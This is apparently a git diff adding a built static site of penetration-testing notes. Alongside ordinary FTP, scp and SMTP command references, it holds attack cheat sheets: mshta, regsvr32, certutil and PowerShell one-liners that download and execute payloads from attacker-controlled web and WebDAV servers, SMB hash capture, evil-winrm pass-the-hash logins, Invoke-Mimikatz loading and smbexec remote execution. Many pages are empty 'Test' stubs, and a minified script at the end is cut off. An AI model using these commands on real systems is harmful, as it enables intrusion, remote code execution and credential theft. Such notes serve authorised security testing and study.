diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 000000000..e69de29bb diff --git a/404.html b/404.html new file mode 100644 index 000000000..7d85e46f6 --- /dev/null +++ b/404.html @@ -0,0 +1,2031 @@ + + + +
+ + + + + + + + + + + + + + + + +ftp ip_address
+#enter username
+#enter password
+
+#print working directory
+pwd
+
+#list file in directory
+ls
+
+#change working directory
+cd /dir/dir
+cd ../dir
+cd ..
+cdup
+
+#creating directory
+mkdir new_dir
+
+#removing directory
+rmdir new_dir
+
+#change transfer mode
+ascii #suitable for transferring text data such as HTML files.
+binary #
+
+#download and upload a file
+get Download.txt
+put Upload.txt
+
+#download upload multiple files
+mget *.txt
+mget file?.txt file?.zip
+mput file.jpg file.jpg
+mput *.zip
+
+#delete file | multiple files
+delete file.zip
+mdelete *.zip
+
+#rename a file
+rename name.txt new_name.txt
+
+# append remote file data
+append new_data.sh old_data.sh
+
+#change file permissions
+chmod 777 file.sh
+chmod +x file.sh
+
+#to exit
+bye
+exit
+quit
+
-4 Use only IPv4 to contact any host.
+-6 Use IPv6 only.
+-e Disables command editing and history support, if it was compiled into the ftp executable. Otherwise, it does nothing.
+-p Use passive mode for data transfers. Allows the use of ftp in environments where a firewall prevents connections from the outside world back to the client machine. Requires the ftp server to support the PASV command .
+-i Turns off interactive prompting during multiple file transfers.
+-n Restrains ftp from attempting auto-login upon initial connection. If auto-login is enabled, ftp checks the .netrc (see netrc ) file in the user’s home directory for an entry describing an account on the remote machine. If no entry exists, ftp prompts for the remote machine login name (the default is the user identity on the local machine), and, if necessary, prompt for a password and an account with which to login.
+-g Disables file name globbing.
+-v The verbose option forces ftp to show all responses from the remote server, as well as report on data transfer statistics.
+-d Enables debugging.
+
# Set up a SMB server using smbserver.py from impacket
+smbserver.py SHARE_NAME path/to/share
+
+# From target Windows:
+net view \\KALI_IP
+(Should display the SHARE_NAME)
+
+dir \\KALI_IP\SHARE_NAME
+copy \\KALI_IP\SHARE_NAME\file.exe .
+
+# Looking at smbserver logs you also grab the NTLMv2 hashes of your current Windows user
+# can be usefull to PTH, or crack passwords
+
+# Since Windows 10, you can't do anonymous smb server anymore
+sudo python smbserver.py SDFR /BloodHound/Ingestors -smb2support -username "peon" -password "peon"
+net use Z: \\192.168.30.130\SDFR /user:peon peon
+net use Z: /delete /y
+
# Method 1
+mshta vbscript:Close(Execute("GetObject(""script:http://IP/payload.sct"")"))
+
+# Method 2
+mshta http://IP/payload.hta
+
+# Method 3 (Using WebDav)
+mshta \\IP\payload.hta
+
+#Download and execute XSL using wmic
+wmic os get /format:"https://webserver/payload.xsl"
+
+
+# Download and execute over a WebServer:
+regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
+
+# Using WebDAV
+regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
+
+# Powershell Cmdlet
+Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"
+
+# Powershell One-Line
+(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")
+
+# In Memory Execution
+IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')
+
scp <options> <source_path> <destination_path>
+scp o s_path d_path
+
+#specifying port with -P
+scp -P 5562 file <username>@<remotehost_ip>:</path/to/file>
+scp -P 5562 f? u@ip:r_file_path
+
+# uploading a file
+scp file <username>@<remotehost_ip>:</path/to/file>
+scp file u@ip:r_file_path
+
+# uploading multiple files
+scp file1 file2 <username>@<remotehost_ip>:</path/to/directory>
+scp f? f? u@ip:r_dir_path
+
+# downloading a file
+scp <username>@<remotehost_ip>:</path/to/file> </local/path/to/file>
+scp u@ip:r_file_path l_file_path
+
+# downloading multiple files
+scp <username>@<remotehost_ip>:</path/directory/\{file.txt,file2.txt\}> .
+scp u@ip:dir_path/\f?,f? .
+
+# downloading a directory
+scp -r </path/to/directory> <username>@<ip_address>:</path/to/directory>
+scp -r l_dir_path u@ip:r_dir_path
+
# Execute file from a WebDav server:
+cscript //E:jscript \\IP\folder\payload.txt
+
+# Download using wget.vbs
+cscript wget.vbs http://IP/file.exe file.exe
+
+# One liner download file from WebServer:
+powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
+powershell -exec bypass -c "(new-object System.Net.WebClient).DownloadFile('http://IP/file.exe','C:\Users\user\Desktop\file.exe')"
+
+# Download from WebDAV Server:
+powershell -exec bypass -f \\IP\folder\payload.ps1
+
# Multiple ways to download and execute files:
+certutil -urlcache -split -f http://webserver/payload payload
+
+# Execute a specific .dll:
+certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
+
+# Execute an .exe:
+certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
+
Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +++[!NOTE] Resources
+
Kaonashi +richelieu +rockyou +packetstormsecurity +gwicks dictionaries
+SCADA Default Passwords +critifence +weakpass +berzerk0
+Looks very cool wordlists +FlameOfIgnis
+```shell title:"Wordlists" +sudo apt-get install seclists +ls /usr/share/wordlists
+cewl -w customwordlist.txt -d 5 -m 7 www.sans.org
+cewl -w customwordlist.txt -d 5 -m 7 -o www.sans.org
+cewl -w customwordlist.txt -d 5 -m 7 -e www.sans.org
+PACK
+https://github.com/iphelix/pack
+python statsgen.py rockyou.txt
+Combinator
+combinator.exe file1 file2
+combinator2.exe file1 file2 file3
+combinator.exe file1 file2 | hashcat -m x hashs.file -a 0 --force -O
+```
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +++ + + + + + + + + + + + + + + + + + + + +Resources +Impacket – SecureAuth +Offensive Security Cheatsheet
+
Test
+ + + + + + + + + + + + + + + + + + + + +This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
+ + + + + + + + + + + + + + + + + + + + + +A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. Currently supports MMC20.Application, ShellWindows and ShellBrowserWindow objects.
+ + + + + + + + + + + + + + + + + + + + + +#install - Ruby
+gem install evil-winrm
+
+#example
+evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
+
+#enable SSL
+evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s
+
+#Login with NTLM Hash -Pass The Hash Attack
+evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38
+
+#Login with the key using Evil-winrm
+evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S
+
+#Load Powershell Script - example with mimikatz.ps1
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell
+Bypass-4MSI
+Invoke-Mimikatz.ps1
+Invoke-Mimikatz
+
+#Store logs with Evil-winrm
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l
+
+#Disable Remote Path Completion
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N
+
+#Disable Coloured Interface
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -n
+
+#Run Executables File
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc
+Bypass-4MSI
+menu
+Invoke-Binary /opt/privsc/winPEASx64.exe
+
+#Service Enumeration with Evil-winrm
+menu
+services
+
+#File Transfer with Evil-winrm
+upload /root/notes.txt .
+download notes.txt /root/raj/notes.txt
+
+#Use Evil-winrm From Docker
+docker run --rm -ti --name evil-winrm oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987'
+
PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom).
+ + + + + + + + + + + + + + + + + + + + + +A similar approach to PSEXEC w/o using RemComSvc. The technique is described here. Our implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available.
+# smbexec
+# A similar approach to PSEXEC w/o using RemComSvc. The technique is described here.
+# Instantiating a local smbserver to receive the output of the commands.
+# This is useful in the situation where the target machine does NOT have a writeable share available.
+smbexec.py domain/user:password@IP <command>
+
A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy.
+ + + + + + + + + + + + + + + + + + + + + +echo open IP 21 > ftp.txt
+echo USER acknak>> ftp.txt
+echo jLQRZy4gyLhmMqz2whTw>> ftp.txt
+echo ftp >> ftp.txt
+echo bin >> ftp.txt
+echo GET wget.exe >> ftp.txt
+echo bye >> ftp.txt
+
++ + + + + + + + + + + + + + + + + + + + +[!IMPORTANT] Tools +mssqlinstance.py: +Retrieves the MSSQL instances names from the target host.
+mssqlclient.py: +An MSSQL client, supporting SQL and Windows Authentications (hashes too). It also supports TLS.
+
#-U flag to specify the username (in this case a blank string) and the -N flag to specify no password
+smbclient -L //10.10.0.50/ -U '' -N
+
telnet 10.10.45.250 25
+#Trying 10.10.45.250...
+#Connected to MACHINE_IP.
+#Escape character is '^]'.
+#220 bento.localdomain ESMTP Postfix (Ubuntu)
+helo telnet
+#250 bento.localdomain
+mail from:
+#250 2.1.0 Ok
+rcpt to:
+#250 2.1.5 Ok
+data
+#354 End data with .
+subject: Sending email with Telnet
+Hello Frank,
+I am just writing to say hi!
+.
+#250 2.0.0 Ok: queued as C3E7F45F06
+quit
+#221 2.0.0 Bye
+#Connection closed by foreign host.
+
Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +{"use strict";/*!
+ * escape-html
+ * Copyright(c) 2012-2013 TJ Holowaychuk
+ * Copyright(c) 2015 Andreas Lubbe
+ * Copyright(c) 2015 Tiancheng "Timothy" Gu
+ * MIT Licensed
+ */var Va=/["'&<>]/;qn.exports=za;function za(e){var t=""+e,r=Va.exec(t);if(!r)return t;var o,n="",i=0,s=0;for(i=r.index;i